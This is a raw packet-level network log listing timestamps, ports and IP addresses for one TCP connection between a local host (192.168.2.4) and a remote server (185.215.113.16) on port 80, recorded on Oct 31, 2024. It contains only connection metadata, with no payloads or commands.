Oct 31, 2024 20:52:09.618746042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618776083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618778944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618788958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618814945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618839025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.780160904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.780186892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.780199051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.780220985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.780225992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.780230999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.780261040 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.780271053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781033039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781080008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781092882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781117916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781150103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781162977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781172991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781183958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781191111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781209946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781232119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781239986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781260014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781266928 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781297922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781419039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781430006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781459093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781483889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781723976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781734943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781750917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781774044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781774044 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781785011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781800985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781826973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781900883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781912088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.781946898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.781963110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.782238007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782248020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782280922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.782689095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782700062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782731056 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.782876015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782900095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782916069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.782917976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.782929897 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.782954931 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783046961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783060074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783092022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783205032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783231974 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783243895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783420086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783432007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783444881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783457994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.783463001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783473969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.783495903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784533978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784569979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784571886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784580946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784607887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784621954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784657001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784668922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784681082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784693003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784698963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784723997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784775019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784786940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784797907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784809113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784821033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784832954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784846067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784854889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784879923 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784892082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784936905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784950018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784960985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784971952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784982920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784982920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.784991026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.784996986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785007954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785018921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785021067 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785043001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785063028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785069942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785080910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785089970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785101891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785109043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785120964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785128117 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785140038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785150051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785155058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785161972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785171032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785173893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785191059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785202980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785202980 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785227060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785238028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785264015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785274982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785294056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785300016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785310030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785320997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785321951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785331964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785336018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785356045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785383940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785406113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785418034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785430908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785440922 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785459995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785470963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785479069 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785482883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785495043 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785506964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785511017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785531998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785557032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785638094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785649061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785659075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785669088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785676956 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785681009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785692930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785701990 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785705090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785717010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785718918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785747051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785749912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785756111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785763979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785777092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785785913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785788059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.785803080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.785820007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948537111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948555946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948566914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948604107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948615074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948626041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948641062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948640108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948697090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948703051 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948709965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948715925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948760033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948771954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948782921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948796988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948806047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948836088 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.948849916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948852062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.948888063 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949342012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949390888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949403048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949414968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949424982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949445009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949446917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949462891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949464083 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949474096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949495077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949513912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949537039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949548960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949563980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949573994 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949574947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949588060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949599981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949609995 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949637890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949651957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949661970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949677944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949688911 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949712992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949724913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949734926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949743986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949754000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949759960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949765921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949774027 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949805975 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949815989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949827909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.949852943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.949877024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950449944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950501919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950522900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950536013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950558901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950565100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950594902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950628042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950669050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950674057 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950680017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950701952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950723886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950763941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950774908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950787067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950807095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950865984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950901031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950911999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950922012 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950933933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950942039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950946093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.950975895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.950999975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951009989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951020002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951025009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951030016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951035023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951042891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951052904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951064110 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951091051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951442957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951483011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951519966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951558113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951567888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951579094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951601028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951618910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951627970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951637983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951648951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951666117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951688051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951764107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951776028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951786995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951797962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951802969 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951809883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951809883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951828957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951838017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951864004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951890945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951900959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951910019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951921940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951925039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951941967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951952934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951952934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.951963902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.951977968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952007055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952294111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952316999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952331066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952352047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952361107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952373028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952395916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952419043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952445030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952455997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952466011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952478886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952481031 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952500105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952522993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952531099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952541113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952552080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952568054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952589989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952683926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952697992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952708006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952718973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952729940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.952730894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952747107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.952776909 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115113974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115143061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115154982 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115237951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115271091 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115281105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115288019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115307093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115319014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115328074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115338087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115346909 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115369081 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.115384102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115390062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115401030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.115426064 CET	49734	80	192.168.2.4	185.215.113.16
